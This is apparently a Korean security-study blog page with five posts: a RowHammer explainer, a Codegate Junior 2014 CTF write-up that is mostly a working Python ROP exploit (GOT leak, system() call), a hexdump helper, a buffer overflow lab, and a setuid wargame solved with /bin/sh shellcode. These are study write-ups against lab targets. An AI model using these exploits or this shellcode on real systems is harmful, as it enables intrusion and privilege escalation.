'공부/시스템'에 해당하는 글 5건

DRAM RowHammer

공부/시스템 2015.03.11 17:54

최근 4월 9일 구글 프로젝트 제로에서 Row Hammer 을 이용한 익스플로잇에 대한 포스팅을 했다.

http://googleprojectzero.blogspot.kr/2015/03/exploiting-dram-rowhammer-bug-to-gain.html?m=1&utm_content=buffera7b38&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer

한글로 설명해준 블로그가 아직 없는 것 같아서 글을 써본다.


What is DRAM RowHammer?

DRAM은 다들 잘 알고 있다 싶이 동적램으로 우리가 일반적으로 컴퓨터에 꽂는 램이다.

콘덴서로 구성해서 주기적으로 refresh가 필요하고 집적도가 낮고 낮은 전력 소모 등등.. 컴퓨터 하드웨어 이론에 나오는 이야기 이다.

그렇다면 램(DRAM)에서는 어떻게 메모리에 값을 쓸까? 간단하게 DRAM의 구조에서 알아보자.




(사진 1 - DRAM BANK의 구조 - 출저 : http://egloos.zum.com/nooriry/v/950940)

먼저 DRAM은 사진 2 같이 생긴 여러개의 방(Banks)로 이루어져 있고 하나의 방은

row와 colums 간단하게 가로, 세로로 구성되어있다.

데이터에 접근하는 방법은 로우 어드레스 칼럼 어드레스를 보내면 램에서

데이터를 보내준다.(간단하게 이정도만 알고있으면 된다)


그렇다면 램에서 발생한다는 RowHammer 은 어떤 에러인 걸까?


(사진 2 - 간략한 dram)


램 내부가 저렇게 데이터가 있다고 하자.

그리고 어셈을 이용해서 메모리에 접근하는 코드를 작성한다.


code1a: mov (X), %eax // X에서 값 읽어오기 mov (Y), %ebx // Y에서 값 읽어오기 clflush (X) // X주소에 대한 캐시 flush (캐쉬 히트가 아닌 메모리에 직접 접근하기위해) clflush (Y) // Y주소에 대한 캐시 flush jmp code1a //무한루프

참 간단하고 별 일 없을것 같이 생긴 코드다. 하지만 계속 해서 돌리게 되면 이상한 현상이 나타나게 된다.


(사진3 - 바뀐 메모리)

접근한 적도 없는 위 아래(addr +1, addr -1) 메모리 값들이 바뀌는(flip) 현상이 일어난다.

원인은 DRAM의 용량을 늘리고 소비전력을 줄이기 위해 집적도를 높힌 것 그리고 셀의 크기가 작아졌기 때문에 셀간에 영향을 주는 것으로 알려져있다.


http://users.ece.cmu.edu/~omutlu/pub/dram-row-hammer_kim_talk_isca14.pdf

다음 자료를 보면 RowHammer에 대해 잘 설명 해주고 있다.

저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

간단한 버퍼오버플로 문제..
라고 하나 한 7시간정도 걸려서 푼것같다(왜이렇게 페이로드에서 계속 실수를 하는지)


공격방법은 처음 메뉴부분에서 target을 중간에 00이들어가지 않도록 큰값으로 주고(상수여서 부동소숫점 한참보다가그냥 99999.999999999 처럼 겁나 크게 해서 보냄)

buf의 null바이트를 지우도록 200바이트 꽉차게 보내준다

그러면 passcode가 릭되고 카운트 다운 하는 곳으로 넘어갈 수 있다


그다음보면 이상한 값을 막 출력하면서 카운트 다운이 되는데 잘보면 윗부분에 pthread로 start_routine을 실행시킨다

그리고 보면은 오버플로가 일어난다 여기서 rop를 해주면 되는데


처음으로는 system함수와 send의 거리차를 구하고 send로 send의 got값을 가져온다

send는 인자가 4개인데 마우스 휠 조금 드르륵드르륵 내리다 보면 pop4개 ret이 나온다

그리고 다시 start_routine을 다시 실행시켜주고


두번쨰는 다시 오버플로를 일으킨다음에 recv로 비어있는 메모리 공간에 실행시킬 명령어를 써주고

system함수를 실행시키면 된다


아래익스플로잇에서 hexdump는 인터넷에서 받아온거임!


exploit code




from socket import *
from struct import pack, unpack
import hexdump
import time

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
ip = "192.168.74.131"
port = 1129

sd = p(0x00000004)
pop4ret = p(0x0804917C)
popret = p(0x080491a6)
recv_plt = p(0x080488E0)
send_plt = p(0x08048900)
send_got = p(0x0804B07C)
start_routine = p(0x08048B5B)
addr_size = p(0x00000004)
free_sp = p(0x804b080)

system = 0


payload = ""
cnt = 101

#stage1


payload += "A"*0x210
payload += send_plt
payload += pop4ret
payload += sd
payload += send_got
payload += addr_size
payload += p(0)

payload += start_routine
payload += "BBBB"
payload += sd

s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))

print s.recv(1024)
print s.recv(1024) + "target\n"
s.send("target\n")
print s.recv(1024) + "9999999999999.999999999999/9999999999999.999999999999\n"
s.send("9999999999999.999999999999/9999999999999.999999999999\n")
print s.recv(1024)
print s.recv(1024)
s.send("a"*0x201)
hexdump.hexdump(s.recv(1024))    #justfor proov leak
print s.recv(1024)
s.send("launch\n")
print s.recv(1024)
s.send("passcode\n")
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)
s.send(payload + "\n")
print s.recv(1024)
system = up(s.recv(1024))
print "system = "+ hex(system)
system += 0xe90
system = p(system)

#system rop start
payload = ""
payload += "A"*0x210
payload += recv_plt
payload += pop4ret
payload += sd
payload += free_sp
payload += p(10)
payload += p(0)

payload += system
payload += "BBBB" #ret dummy
payload += free_sp

s.send(payload+"\n")
print s.recv(1024)
print s.recv(1024)
s.send("ls>&4\n")
print s.recv(1024)


s.close()

저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글 하나 달렸습니다.
  1. 건이 열심히 한다 열심히 해~
secret

dumpcode.h

공부/시스템 2014.03.24 12:27

void printchar(unsigned char c)

{

        if(isprint(c))

                printf("%c",c);

        else

                printf(".");

}

void dumpcode(unsigned char *buff, int len)

{

        int i;


        for(i=0; i<len; i++)

        {

                if(i%16==0)

                        printf("0x%08x  ",&buff[i]);

                printf("%02x ",buff[i]);

                if(i%16-15==0)

                {

                        int j;

                        printf("  ");

                        for(j=i-15;j<=i;j++)

                                printchar(buff[j]);

                        printf("\n");

                }

        }

        if(i%16!=0)

        {

                int j;

                int spaces=(len-i+16-i%16)*3+2;


                for(j=0;j<spaces;j++)

                        printf(" ");

                for(j=i-i%16;j<len;j++)

                        printchar(buff[j]);

        }

        printf("\n");

}




신고
Creative Commons License
Creative Commons License

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

simple_bof

공부/시스템 2014.03.21 18:03

메모리 값을 변경하는 문제

1234를 5678로 바꾸면 된다

jen6@layer7:/home/system_training/simple_bof1$ ./system_train 222
0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

[*] BEFORE : the value of target is 1234

0xbffff648  32 32 32 00 00 00 00 00 - 00 00 00 00 00 00 00 00   222.............
0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

[*] AFTER : the value of target is 1234


실행을 시키면 메모리 덤프를 보여준다

뭔가 부족하다 조금 더넣어줘 보자

jen6@layer7:/home/system_training/simple_bof1$ ./system_train 2222222
0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

[*] BEFORE : the value of target is 1234

0xbffff648  32 32 32 32 32 32 32 00 - 00 00 00 00 00 00 00 00   2222222.........
0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

[*] AFTER : the value of target is 1234

과감하게


jen6@layer7:/home/system_training/simple_bof1$ ./system_train 22222222222222222222222222222222222222222222222222222222222
0xbffff608  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
0xbffff618  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

[*] BEFORE : the value of target is 1234

0xbffff608  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   2222222222222222
0xbffff618  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   2222222222222222

[*] AFTER : the value of target is 842150450
Segmentation fault (core dumped)

2런 너무 많이 넣다

대략 넣다보니

0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

빨간부분을 건드리면 조작이 된다



5678의 hex값을 찾고 리틀인디언을 생각해서

./attackme `python -c 'print"B"*20+"\x2e\x16"'`


jen6@layer7:/home/system_training/simple_bof1$ ./attackme `python -c 'print"B"*20+"\x2e\x16"'`
-bash: ./attackme: No such file or directory

???????

key file이 없따

실망











신고
Creative Commons License
Creative Commons License

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

system_prob_2

공부/시스템 2014.03.21 01:37

system_prob_2

jen6@layer7:/home/system_prob_2$ ls -al
total 24
drwxr-xr-x  2 system_prob_2 system_prob_2 4096 Jun  3  2013 .
drwxr-xr-x 79 root          root          4096 Mar 13 18:23 ..
-rwsr-xr-x  1 system_prob_2 system_prob_2 7190 Jun  3  2013 attackme
-r--r--r--  1 system_prob_2 system_prob_2  165 Jun  3  2013 attackme.c
-r--------  1 system_prob_2 system_prob_2   28 Jun  3  2013 key
jen6@layer7:/home/system_prob_2$ 

attackme의 권한을 보면 system_prob_2 계정에 대한 SetUID bit가 설정되어 있음을 알수있다

(rwsr - 여기서 s는 setuid) 그래서 attackme 를 실행하는 동안은 uid(euid)가 system_prob_2의 uid와 같아진다

--소스코드--

char shellcode[1024];//전역변수 shellcode

int main(int argc, char **argv)//argc:argv배열으 갯수 +1(왜냐하면 argv[0]은 파일명, argv:인자값

{

    int (*func)();//func이라는 함수 포인터(리턴값 int형, 매개변수 없음)

    func = (int (*)()) shellcode;//func은 int형이고 shellcode는 char형 임으로 shellcode를 int형으로 형변환 시켜줌

*c++ auto로 한큐에

    strcpy(shellcode, argv[1]);//argv[1]의 내용을 shellcode로 복사

    (int)(*func)();//func함수 실행

}

argv[1]에 인자값을 받음 -> argv[1]을 shellcode로 복사 -> 함수 포인터 func의 주소값은 shellcode배열의 주소값 -> 함수 func실행

이런 흐름으로 때문에 argv[1]에 들어간 값이 실행되게됨으로 argv에 /bin/sh 을 실행하는 코드를 넣어주면 되겠구나 싶음

그렇다고 ./attackme system('/bin/bash");

이렇게 백날해도 소용이 없음(세그먼트폴트 덤프나 확인하시죠 이렇게 나옴)

메모리 상에 올라가는 코드이기때문에 어셈블리(기계어)로 올려줘야함

(자세한건 이 문서를 통해

https://www.dropbox.com/s/6tz8xnkuin163og/%EC%89%98%EC%BD%94%EB%93%9C_%EB%A7%8C%EB%93%A4%EA%B8%B0_%EA%B8%B0%EC%B4%88.pdf     )

인자 값으로 넘기기 위해 python -c 옵션을 이용하여 만든

./attackme `python -c 'print "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`


jen6@layer7:/home/system_prob_2$ whoami
jen6 //내 계정이니깐 당연히 나로
jen6@layer7:/home/system_prob_2$ id
uid=1556(jen6) gid=1556(jen6) groups=1556(jen6)// 내 계정이니깐 uid역시 내 uid
jen6@layer7:/home/system_prob_2$ ./attackme `python -c 'print "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`
$ whoami
system_prob_2
$ id
uid=1556(jen6) gid=1556(jen6) euid=1057(system_prob_2) groups=1058(system_prob_2),1556(jen6)
//euid 가 system_prob_2로 바뀌어서 성공적으로 key를 출력할수있음
$ cat key
SHELLCODE_ART_OF_1337CODING









신고
Creative Commons License
Creative Commons License

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret